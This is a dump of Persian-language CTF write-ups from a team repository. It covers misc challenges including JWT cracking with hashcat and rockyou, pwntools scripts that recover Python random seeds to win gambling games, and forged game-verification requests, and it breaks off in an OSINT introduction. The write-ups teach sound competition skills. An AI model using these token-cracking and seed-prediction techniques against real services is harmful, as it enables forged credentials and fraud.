/docs/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/logo.png -------------------------------------------------------------------------------- /docs/misc/Tools/index.md: -------------------------------------------------------------------------------- 1 | # ابزار متفرقه 2 | 3 | 4 | [Steganography](https://blackarch.org/stego.html) 5 | -------------------------------------------------------------------------------- /docs/misc/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | icon: material/diversify 3 | --- 4 | # متفرقه 5 | 6 | متفرقه؟ 7 | 8 | یعنی چی؟ :joy: 9 | 10 | هر چلنجی که یکم از دسته بندی های مرسوم دور باشه، یا ترکیبی از چند تا دسته بندی باشه اینجا قرار میگیره و ما هم که بهشون رحم نمیکنیم :sunglasses: 11 | 12 | تو این دسته باید انتظار همه چیز رو داشته باشیم 13 | از ریورس بگیر تا کریپتو 14 | از استگانوگرافی بگیر تا شبکه 15 | 16 | ولی خوب چون یکم از دسته بندی های اصلی دور شدن، راحت تر میشه حلشون کرد اما خوب ترکیبین 17 | 18 | ابزار خاصی نمیشه معرفی کرد براشون 19 | 20 | یا حداقل ابزاری که تو بقیه زمینه ها استفاده میشن (و تو همین بلاگ بهشون اشاره شده) رو باید اینجا به کار گرفت بعلاوه یه چند تا ابزار که برای استگانوگرافی و یه چند تا زمینه دیگه استفاده میشن -------------------------------------------------------------------------------- /docs/misc/writeups/2023/BackdoorCTF/Fruit-Basket.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - BackdoorCTF 4 | - BackdoorCTF-2023 5 | - Begineer 6 | - C 7 | - Random 8 | --- 9 | 10 | [آرشیو چلنج](https://github.com/sajjadium/ctf-archives/tree/main/ctfs/BackdoorCTF/2023/misc/Fruit_Basket) 11 | 12 | ```c linenums="1" 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | int main() 20 | { 21 | unsigned int v3; // eax 22 | char *fruits[10] = {"Apple", "Orange", "Mango", "Banana", "Pineapple", "Watermelon", "Guava", "Kiwi", "Strawberry", "Peach"}; 23 | 24 | int i; // [rsp+Ch] [rbp-24h] 25 | 26 | v3 = time(0); 27 | srand(v3); 28 | 29 | usleep(4000000); 30 | 31 | for (i = 0; i <= 49; ++i) 32 | { 33 | printf("%s\n", fruits[rand() % 10]); 34 | } 35 | printf("cat flag.txt\n"); 36 | return 0; 37 | } 38 | ``` 39 | این کد که از رو سورس چلنج دراومده رو کامپایل میکنیم و چون سید رندوم روی تایم ست شده، رندوم های سمت سرور و کلاینت برابر ان 40 | 41 | با دستور زیر اجرا میکنیم و به nc پایپ میکنیم 42 | ```bash 43 | ./main|nc 34.70.212.151 8006 44 | ``` 45 | --- 46 | !!! نویسنده 47 | [SafaSafari](https://twitter.com/SafaSafari3) 48 | 49 | -------------------------------------------------------------------------------- /docs/misc/writeups/2023/BackdoorCTF/Secret-of-Kurama.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - BackdoorCTF 4 | - BackdoorCTF-2023 5 | - Begineer 6 | - JWT 7 | - Crack 8 | --- 9 | 10 | اول کار jwt که بهمون داده رو با hashcat میزنیم رو کرک با پسورد لیست rockyou 11 | 12 | ```bash 13 | hashcat eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ik5hcnV0byIsInJvbGUiOiJzaGlub2JpIn0.WJv_YcVsRV15PqzGpq10-w5i2mJ_BI1mBzkZMtAPnIQ -m 16500 -w 2 rockyou.txt 14 | ``` 15 | پسورد کرک میشه `minato` 16 | 17 | ```json 18 | { 19 | "username": "Naruto", 20 | "role": "NineTails" 21 | } 22 | ``` 23 | بعد این جیسون رو با کد jwt ساین میکنیم و میفرستیم سمت سرور 24 | 25 | !!! نویسنده 26 | [SafaSafari](https://twitter.com/SafaSafari3) 27 | 28 | -------------------------------------------------------------------------------- /docs/misc/writeups/2023/PingCTF/internet-cat.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - PingCTF 4 | - PingCTF-2023 5 | - Misc 6 | --- 7 | 8 | Challenge : 9 | 10 | ``` 11 | aHR0cHM6Ly9naXN0LmdpdGh1YnVzZXJjb250ZW50LmNvbS90b21lazc2NjcvOTIzOTNhNTkyMDdkOTEzNzlmOWVlODc4NTg3OGI5OGIvcmF3LzNiNTM1NzJjMzQ0NTY0ZjMyMTE5NjA5MmMzMzg2M2EzODVjMTM2M2QvZ2lzdGZpbGUxLnR4dA== 12 | ``` 13 | 14 | Solve : 15 | 16 | ``` 17 | base64 in binary file -> gist file -> revisions -> octal (\n) -> base64 -> hex -> base58 -> png -> qr code -> privatebin -> base64 -> zip -> password crack (billabong) -> extract with 7z 18 | ``` 19 | 20 | !!! نویسنده 21 | [SafaSafari](https://twitter.com/SafaSafari3) 22 | 23 | -------------------------------------------------------------------------------- /docs/misc/writeups/2023/PingCTF/ping-arcade.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - PingCTF 4 | - PingCTF-2023 5 | - Misc 6 | - Game_Hacking 7 | - Random 8 | --- 9 | 10 | [آرشیو چلنج](https://github.com/sajjadium/ctf-archives/tree/main/ctfs/pingCTF/2023/misc/ping_arcade) 11 | 12 | با ریورس های فراوون میرسیم به یه نوع ساخت رندوم که خوشبختانه پروژه پایتون هم دارن 13 | تو این لینک 14 | 15 | https://github.com/mobaradev/UnifiedRandom 16 | 17 | ```python linenums="1" 18 | import random 19 | import requests 20 | import UnifiedRandom 21 | 22 | headers = { 23 | "User-Agent": "UnityPlayer/2022.3.12f1 (UnityWebRequest/1.0, libcurl/8.1.1-DEV)", 24 | "X-Unity-Version": "2022.3.12f1", 25 | } 26 | code = requests.get( 27 | "https://ping-arcade.knping.pl/start-game", headers=headers 28 | ).json()["accessCode"] 29 | t = [] 30 | rand = UnifiedRandom(code) 31 | randb = UnifiedRandom(code) 32 | randc = UnifiedRandom(code) 33 | for i in range(64): 34 | pulse = rand.get_number(0, 25) / 100.0 35 | rate = randb.get_number(8, 25) / 100.0 36 | block_index = randc.get_number(0, 5) 37 | t.append(rate * block_index + pulse) 38 | 39 | times = "-".join(list(map(str, t))) 40 | print( 41 | requests.post( 42 | "https://ping-arcade.knping.pl/verify-game", 43 | headers=headers, 44 | # proxies=proxies, 45 | data={ 46 | "accessCode": code, 47 | "times": times, 48 | "controlNumber": randc.get_number(0, randc.get_number(0, 10000)) * 1.25 * 64, 49 | }, 50 | ).json() 51 | ) 52 | ``` 53 | 54 | !!! نویسنده 55 | [SafaSafari](https://twitter.com/SafaSafari3) 56 | 57 | -------------------------------------------------------------------------------- /docs/misc/writeups/2023/PingCTF/wow.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - PingCTF 4 | - PingCTF-2023 5 | - Misc 6 | - Random 7 | --- 8 | 9 | [آرشیو چلنج](https://github.com/sajjadium/ctf-archives/tree/main/ctfs/pingCTF/2023/misc/wow) 10 | 11 | به محض وصل شدن به سرور یه تعداد رندوم به سمت ما ارسال میشه که میتونیم با اون رندوم ها سید رو تشخیص بدیم و ادامه ماجرا =)) 12 | ```python linenums="1" 13 | from pwn import * 14 | import random 15 | 16 | a = remote("57.128.196.218", 20001) 17 | 18 | a.sendline(b'y') 19 | a.recvuntil(b'user_balance=') 20 | def get_randoms(n: int): 21 | randoms = [] 22 | while len(randoms) < n: 23 | a.sendline(b'1') 24 | for line in a.recvuntil(b'user_balance=').decode().split('\n'): 25 | if 'rolls' in line: 26 | randoms.append(line.split('rolls ')[1]) 27 | randoms.append('END') 28 | return randoms 29 | 30 | first = 100 31 | rands = get_randoms(30) 32 | correct = 0 33 | for i in range(10_000_001): 34 | random.seed(i) 35 | for j in rands: 36 | if j == 'END': 37 | first = 100 38 | elif int(j) == random.randint(1, first): 39 | correct += 1 40 | first = int(j) 41 | else: 42 | correct = 0 43 | if correct > 10: 44 | break 45 | 46 | def i_will_win(number = 100, user = 'Safa'): 47 | if user == 'Safa': 48 | user = 'opponent' 49 | else: 50 | user = 'Safa' 51 | a = random.randint(1, number) 52 | if a == 1: 53 | return False if user == 'Safa' else True 54 | return i_will_win(a, user) 55 | 56 | balance = int(a.recvline().decode()) 57 | while balance < 10_000_000: 58 | opponent_balance = 10_000_000 + 50 - balance 59 | if i_will_win(): 60 | print(balance) 61 | a.sendline(str(min(balance, opponent_balance)).encode()) 62 | balance *= 2 63 | else: 64 | a.sendline(b'1') 65 | balance -= 1 66 | 67 | print(a.clean(2)) 68 | ``` 69 | 70 | !!! نویسنده 71 | [SafaSafari](https://twitter.com/SafaSafari3) 72 | 73 | -------------------------------------------------------------------------------- /docs/misc/writeups/2023/PingCTF/you-spin-me-round.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - PingCTF 4 | - PingCTF-2023 5 | - Misc 6 | - Random 7 | --- 8 | 9 | [آرشیو چلنج](https://github.com/sajjadium/ctf-archives/tree/main/ctfs/pingCTF/2023/misc/you_spin_me_round) 10 | 11 | اینم مثل قبلی، یه تعداد beep و boop دریافت میکنیم و میتونیم سید رو تشخیص بدیم 12 | ```python linenums="1" 13 | from pwn import * 14 | 15 | p = remote("57.128.196.218", 20000) 16 | 17 | p.recvuntil(b"\n\n") 18 | s = p.recvline().decode() 19 | a, b = s.count("BEEP"), s.count("BOOP") 20 | p.recvuntil(b"Task") 21 | p.recvuntil(b": ") 22 | s = p.recvline().decode().strip() 23 | split = s.split(' ') 24 | for i in range(1_000_000): 25 | random.seed(i) 26 | if random.randint(1, 100) == int(a): 27 | if random.randint(1, 100) == int(b): 28 | if random.randint(100, 10000) == int(split[0]): 29 | if int(split[0]) // random.randint(1, 100) == int(split[4]): 30 | p.sendline(str(int(split[0]) // int(split[4])).encode()) 31 | break 32 | 33 | def task1(): 34 | random.randint(100, 10000) 35 | return str(random.randint(1, 100)).encode() 36 | 37 | def task2(): 38 | random.randint(100000, 1000000000) 39 | return str(random.randint(1, 100000) / 100).encode() 40 | 41 | def task3(): 42 | x = random.randint(100000, 1000000000) / 100 43 | y = random.randint(1, 100000) / 100 44 | p1, p2 = str(x % y).split('.') 45 | ans = f"{p1}{p2[0]}.{p2[1:]}e-1" 46 | return ans.encode() 47 | 48 | task = 1 49 | p.sendline(task2()) 50 | p.sendline(task3()) 51 | for i in range(996): 52 | print(i, end='\r') 53 | t = random.randint(1, 3) 54 | p.sendline(eval(f"task{t}()")) 55 | 56 | print(p.clean(2)) 57 | ``` 58 | 59 | !!! نویسنده 60 | [SafaSafari](https://twitter.com/SafaSafari3) 61 | 62 | -------------------------------------------------------------------------------- /docs/misc/writeups/2024/DUCTF/intercept_cover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/DUCTF/intercept_cover.png -------------------------------------------------------------------------------- /docs/misc/writeups/2024/DUCTF/recipe.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - DownUnderCTF 4 | - DownUnderCTF-2024 5 | - Misc 6 | --- 7 | 8 | # چالش Wacky Recipe 9 | --- 10 | 11 |
12 | ![challenge cover.png](./recipe_cover.png) 13 |
14 | 15 | فایل تکست ضمیمه‌شده به چالش یک متن با فرمت یک دستور آماده کردن غذا به نظر میاد در نگاه اول. بعد از اینکه نشد یک الگوی مناسب از داخل این دستور پیدا کنیم، سراغ سرچ توی گوگل میریم. 16 | 17 | ``` 18 | Chicken Parmi. 19 | 20 | Our Cyber Chef has been creating some wacky recipes recently, though he has been rather protective of his secret ingredients. 21 | Use this Chicken Parmi recipe and decipher the missing values to discover the chef's secret ingredient! 22 | This recipe produces the flag in flag format. 23 | 24 | Ingredients. 25 | 27 dashes pain 26 | 21 cups effort 27 | 1 cup water 28 | 4 kg bread crumbs 29 | 26 ml hot canola oil 30 | 13 kg egg yolks 31 | 24 teaspoons all purpose spices 32 | 7 teaspoons herbs 33 | 26 kg flour 34 | 26 kg sliced chicken breasts 35 | 1 dashes salt 36 | 11 dashes pepper 37 | 7 dashes pride and joy 38 | 10 kg tomato sauce 39 | 14 g cheese 40 | 13 kg ham 41 | 2 g pasta sauce 42 | 6 dashes chilli flakes 43 | 5 kg onion 44 | 9 dashes basil 45 | 19 dashes oregano 46 | 10 dashes parsley 47 | 20 teaspoons sugar 48 | 49 | Cooking time: 25 minutes. 50 | 51 | Pre-heat oven to 180 degrees Celsius. 52 | 53 | Method. 54 | Put water into 1st mixing bowl. 55 | Add water to 1st mixing bowl. 56 | Add water to 1st mixing bowl. 57 | Add water to 1st mixing bowl. 58 | Combine pain into 1st mixing bowl. 59 | Remove bread crumbs from 1st mixing bowl. 60 | Add effort to 1st mixing bowl. 61 | Put water into 1st mixing bowl. 62 | Add water to 1st mixing bowl. 63 | Combine pain into 1st mixing bowl. 64 | . 65 | . 66 | . 67 | ``` 68 | 69 | بعد از کمی سرچ متوجه می‌شیم که Chef یک زبان برنامه‌نویسی esoteric هست که با وجود این شکل عجیب غریبش حتی تورینگ-کامپلت هم هست و اساس کارش داده‌ساختار استک هست. میتونید برای مطالعه بیشتر به [این لینک](http://progopedia.com/language/chef/) مراجعه کنید. قبل از اینکه بتونیم رانش کنیم باید دو مقدار pain و effort رو به جای علامت سوال با مقدار عددی درست جایگزین کنیم. میشه بروت‌فورس کرد اما کار هوشمندانه‌تر اینه که چون بر اساس استک هست و عملیات‌های استفاده‌شده روی متغیر‌ها هم همشون خطی هستند و ما دو حرف اول فلگ یعنی D و U رو می‌دونیم، یک دو معادله و دو مجهول تشکیل بدیم و مقادیر مناسب مجهولات رو پیدا کنیم که به ترتیب pain مقدار ۲۷ و effort مقدار ۲۱ داره. نهایتا بعد از جایگذاری این مقادیر در کد اصلی و ران کردنش به صورت [آنلاین](https://esolangpark.vercel.app/ide/chef) حروف فلگ قابل مشاهده است. 70 | 71 |
72 | ![challenge cover.png](./recipe_1.png) 73 |
74 | 75 | --- 76 | ??? success "FLAG :triangular_flag_on_post:" 77 |
`DUCTF{2tsp_Vegemite}`
78 | 79 | 80 | !!! نویسنده 81 | [Sadegh](https://github.com/sadegh-majidi) 82 | 83 | -------------------------------------------------------------------------------- /docs/misc/writeups/2024/DUCTF/recipe_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/DUCTF/recipe_1.png -------------------------------------------------------------------------------- /docs/misc/writeups/2024/DUCTF/recipe_cover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/DUCTF/recipe_cover.png -------------------------------------------------------------------------------- /docs/misc/writeups/2024/ImaginaryCTF/Left in the Dark.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/ImaginaryCTF/Left in the Dark.PNG -------------------------------------------------------------------------------- /docs/misc/writeups/2024/ImaginaryCTF/Left in the Dark.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/ImaginaryCTF/Left in the Dark.mp4 -------------------------------------------------------------------------------- /docs/misc/writeups/2024/ImaginaryCTF/ok-nice.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/ImaginaryCTF/ok-nice.PNG -------------------------------------------------------------------------------- /docs/misc/writeups/2024/ImaginaryCTF/pyjail.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/ImaginaryCTF/pyjail.jpg -------------------------------------------------------------------------------- /docs/misc/writeups/2024/OSCTF/captured_data.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - OSCTF 4 | - OSCTF-2024 5 | - Misc 6 | --- 7 | 8 | # چالش Captured Data 9 | --- 10 | 11 |
12 | ![challenge cover.png](./captured_data_cover.png) 13 |
14 | 15 | فایل اکسل ضمیمه چلنج رو که باز می‌کنیم، می‌بینیم که در ستون اول یکسری زمان متوالی، در ستون دوم حروف a, b, c, d, e, f در گروه‌های دوتایی و شش‌تایی و در ستون سوم در برخی از سطر‌ها DP نوشته شده. در نگاه اول شاید چیز آشنایی به چشم نیاد. 16 | 17 |
18 | ![captured_data_1](captured_data_1.png) 19 |
20 | 21 | با سرچ کردن abcdef DP در گوگل میفهمیم که این‌ها در واقع pinout های یک مدار 7segment هستند که همون مدار نمایش ارقام دهدهی دیجیتال هستند و در واقع با توجه به اینکه هر pin مسئول روشن‌کردن کدام بخش هست میفهمیم که توالی abcdef عدد 0 و توالی bc عدد ۱ و DP یک نقطه را نشان می‌دهد. 22 | 23 |
24 | ![captured_data_2](captured_data_2.png) 25 |
26 | 27 | یک اسکریپت پایتون می‌نویسیم که این اکسل را به یکسری صفر و یک متوالی تبدیل کند. سپس با بررسی ۸ بیت اول و ۸ بیت دوم مشاهده می‌کنیم که در واقع هر ۸ بیت کد اسکی یک حرف از فلگ را نشان می‌دهد. بنابراین بعد از تجزیه ۸ بیتی و تبدیل به حروف اسکی، به فلگ نهایی می‌رسیم. 28 | 29 | ```python 30 | import pandas as pd 31 | 32 | df = pd.read_excel('output.xlsx', header=None) 33 | 34 | result = [] 35 | 36 | for i in range(len(df)): 37 | if df.iloc[i, 2] == 'DP': 38 | if df.iloc[i-3, 2] == 'DP': 39 | start = max(0, i - 2) 40 | else: 41 | start = max(0, i - 6) 42 | sequence = ''.join(df.iloc[start:i, 1].dropna().tolist()) 43 | print(sequence) 44 | 45 | if sequence == 'abcdef': 46 | result.append('0') 47 | elif sequence == 'bc': 48 | result.append('1') 49 | 50 | binary_string = ''.join(result) 51 | ascii_text = ''.join(chr(int(binary_string[i:i+8], 2)) for i in range(0, len(binary_string), 8)) 52 | 53 | print("Flag:", ascii_text) 54 | ``` 55 | 56 | فلگ زیر پس از اجرای کد به نمایش در می‌آید. 57 | 58 | --- 59 | ??? success "FLAG :triangular_flag_on_post:" 60 |
`OSCTF{1nf0_d1spl4c3d}`
61 | 62 | 63 | !!! نویسنده 64 | [Sadegh](https://github.com/sadegh-majidi) 65 | 66 | -------------------------------------------------------------------------------- /docs/misc/writeups/2024/OSCTF/captured_data_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/OSCTF/captured_data_1.png -------------------------------------------------------------------------------- /docs/misc/writeups/2024/OSCTF/captured_data_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/OSCTF/captured_data_2.png -------------------------------------------------------------------------------- /docs/misc/writeups/2024/OSCTF/captured_data_cover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/OSCTF/captured_data_cover.png -------------------------------------------------------------------------------- /docs/misc/writeups/2024/SnappCTF/SP1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/SnappCTF/SP1.PNG -------------------------------------------------------------------------------- /docs/misc/writeups/2024/SnappCTF/SP2.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/SnappCTF/SP2.PNG -------------------------------------------------------------------------------- /docs/misc/writeups/2024/SnappCTF/bandy-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/SnappCTF/bandy-1.png -------------------------------------------------------------------------------- /docs/misc/writeups/2024/SnappCTF/bandy-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/SnappCTF/bandy-2.png -------------------------------------------------------------------------------- /docs/misc/writeups/2024/SnappCTF/bandy-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/SnappCTF/bandy-3.png -------------------------------------------------------------------------------- /docs/misc/writeups/2024/SnappCTF/bandy-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/SnappCTF/bandy-4.png -------------------------------------------------------------------------------- /docs/misc/writeups/2024/SnappCTF/bandy.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - SnappCTF 4 | - SnappCTF-2024 5 | - Misc 6 | - Forensics 7 | - VIM 8 | - SWP 9 | - PNG 10 | --- 11 | 12 | ![Challenge](bandy-1.png) 13 | 14 | از من به شما نصیحت هرجا vim دیدید، برید سمت swp فایل ها =)) 15 | 16 | ![Bless](bandy-2.png) 17 | 18 | ![Bless](bandy-3.png) 19 | 20 | طبق تصویری که توسط برنامه bless نشان داده شده، میبینیم که قسمت [مجیک بایت](https://en.wikipedia.org/wiki/List_of_file_signatures) دو فایل با هم فرق داره 21 | 22 | بعد از سر و کله زدن های فراوون برای تغییر فرمت و مسیر فایل ها توسط من و وحید جان و ناکامی در این زمینه، نیما جان بهمون گفت: 23 | > چه نیازیه کل بایت ها رو تبدیل کنیم؟ 24 | > 25 | > دو بایت اول کافیه!! 26 | 27 | ``` 28 | vim -r .bandy.swp 29 | ``` 30 | 31 | با زدن این کامند و رد کردن وارنینگی که داده، میتونیم به فایل اصلی برسیم 32 | 33 | در این قسمت باید فایل رو سیو کنیم 34 | 35 | با دستور 36 | 37 | ``` 38 | :w a.png 39 | ``` 40 | 41 | میتونیم فایل رو سیو کنیم جایی که میخوایم (نه جایی که آقای فاکتوریل زده :joy:) 42 | 43 | در آخر برای این که از فیکس کردن png زیر سیبیلی رد شیم، میتونیم از [سایبرچف](https://gchq.github.io/CyberChef) استفاده کنیم 44 | 45 | ![CyberChef](bandy-4.png) 46 | 47 | ??? success "FLAG :triangular_flag_on_post:" 48 |
`SNAPP{D0n7_Op3n_8!NarY_FII35_W1tH_VIM!!}`
49 | --- 50 | !!! نویسنده 51 | [SafaSafari](https://twitter.com/SafaSafari3) 52 | 53 | -------------------------------------------------------------------------------- /docs/misc/writeups/2024/SnappCTF/prying-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/SnappCTF/prying-1.png -------------------------------------------------------------------------------- /docs/misc/writeups/2024/SnappCTF/prying-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/SnappCTF/prying-2.png -------------------------------------------------------------------------------- /docs/misc/writeups/2024/SnappCTF/prying-eyes.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - SnappCTF 4 | - SnappCTF-2024 5 | - Misc 6 | - Unlambda 7 | - Lambda 8 | --- 9 | 10 | ![Challenge](prying-1.png) 11 | 12 | همونطور که از توضیحات چلنج معلومه که یا باید دنبال λ (Lambda) بگردیم، یا هم دنبال یه انکدینگی چیزی به اسم (prying eyes) 13 | 14 | که با کمی سرچ کردن میرسیم به ([Unlambda](https://en.wikipedia.org/wiki/Unlambda)) 15 | 16 | و یه [کامپایلر آنلاین](https://www.tutorialspoint.com/execute_unlambda_online.php) براش پیدا میکنیم 17 | 18 | ![Result](prying-2.png) 19 | 20 | ??? success "FLAG :triangular_flag_on_post:" 21 |
`SNAPP{1st:__SNAPP__theSEC&CTF}`
22 | --- 23 | !!! نویسنده 24 | [SafaSafari](https://twitter.com/SafaSafari3) 25 | 26 | -------------------------------------------------------------------------------- /docs/misc/writeups/2024/SnappCTF/recordtripSnapppey.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/SnappCTF/recordtripSnapppey.png -------------------------------------------------------------------------------- /docs/misc/writeups/2024/SnappCTF/snapp customer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/SnappCTF/snapp customer.png -------------------------------------------------------------------------------- /docs/misc/writeups/2024/SnappCTF/snapp saving.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/SnappCTF/snapp saving.PNG -------------------------------------------------------------------------------- /docs/misc/writeups/2024/SnappCTF/snapp-bounties.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/SnappCTF/snapp-bounties.png -------------------------------------------------------------------------------- /docs/misc/writeups/2024/SnappCTF/snapp.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/SnappCTF/snapp.jpg -------------------------------------------------------------------------------- /docs/misc/writeups/2024/SnappCTF/snapprecord.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/SnappCTF/snapprecord.png -------------------------------------------------------------------------------- /docs/misc/writeups/2024/SnappCTF/superapp-user.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/SnappCTF/superapp-user.png -------------------------------------------------------------------------------- /docs/misc/writeups/2024/TFCCTF/bad-invaders-files/bad_invaders.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/TFCCTF/bad-invaders-files/bad_invaders.zip -------------------------------------------------------------------------------- /docs/misc/writeups/2024/TFCCTF/bad-invaders-files/gif/game.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/TFCCTF/bad-invaders-files/gif/game.gif -------------------------------------------------------------------------------- /docs/misc/writeups/2024/TFCCTF/bad-invaders-files/gif/solution.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/misc/writeups/2024/TFCCTF/bad-invaders-files/gif/solution.gif -------------------------------------------------------------------------------- /docs/osint/Tools/4d3067a845564768086078f1c275c7c6db9ff3e6143ea33b6c676cb5475a3abb.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/Tools/4d3067a845564768086078f1c275c7c6db9ff3e6143ea33b6c676cb5475a3abb.jpg -------------------------------------------------------------------------------- /docs/osint/Tools/65f9760110f28e0bcfc60cc7_Untitled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/Tools/65f9760110f28e0bcfc60cc7_Untitled.png -------------------------------------------------------------------------------- /docs/osint/Tools/988254111-stalking.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/Tools/988254111-stalking.jpg -------------------------------------------------------------------------------- /docs/osint/Tools/sherlock-image-sherlock-36402097-1280-720.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/osint/Tools/sherlock-image-sherlock-36402097-1280-720.jpg -------------------------------------------------------------------------------- /docs/osint/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | icon: material/incognito 3 | 4 | tags: 5 | - OSINT 6 | - اطلاعات منبع‌باز 7 | --- 8 | # اطلاعات منبع‌باز (OSINT) 9 | 10 | اینترنت امروز به واسطه گسترش شبکه‌های اجتماعی، رسانه‌ها، سایت‌های سازمانی و شخصی یک منبع اطلاعاتی بزرگ است. اطلاعات منبع‌باز (𝙾𝚂𝙸𝙽𝚃) که سرنام عبارت  𝙾𝚙𝚎𝚗 𝚂𝚘𝚞𝚛𝚌𝚎 𝙸𝚗𝚝𝚎𝚕𝚕𝚒𝚐𝚎𝚗𝚌𝚎 است به اطلاعاتی گفته می‌شود به صورت آشکار و رایگان در فضای وب در دسترس همگان قرار دارد که با اندکی کنکاش می‌توان به آن‌ها دست یافت. 11 | 12 | این اطلاعات مثل نام فرد و شغل آن بخودی خود اطلاعات محرمانه‌ای نیستند، اما می‌توانند به نتیجه‌گیری و به کار بردن آن‌ها برای یک 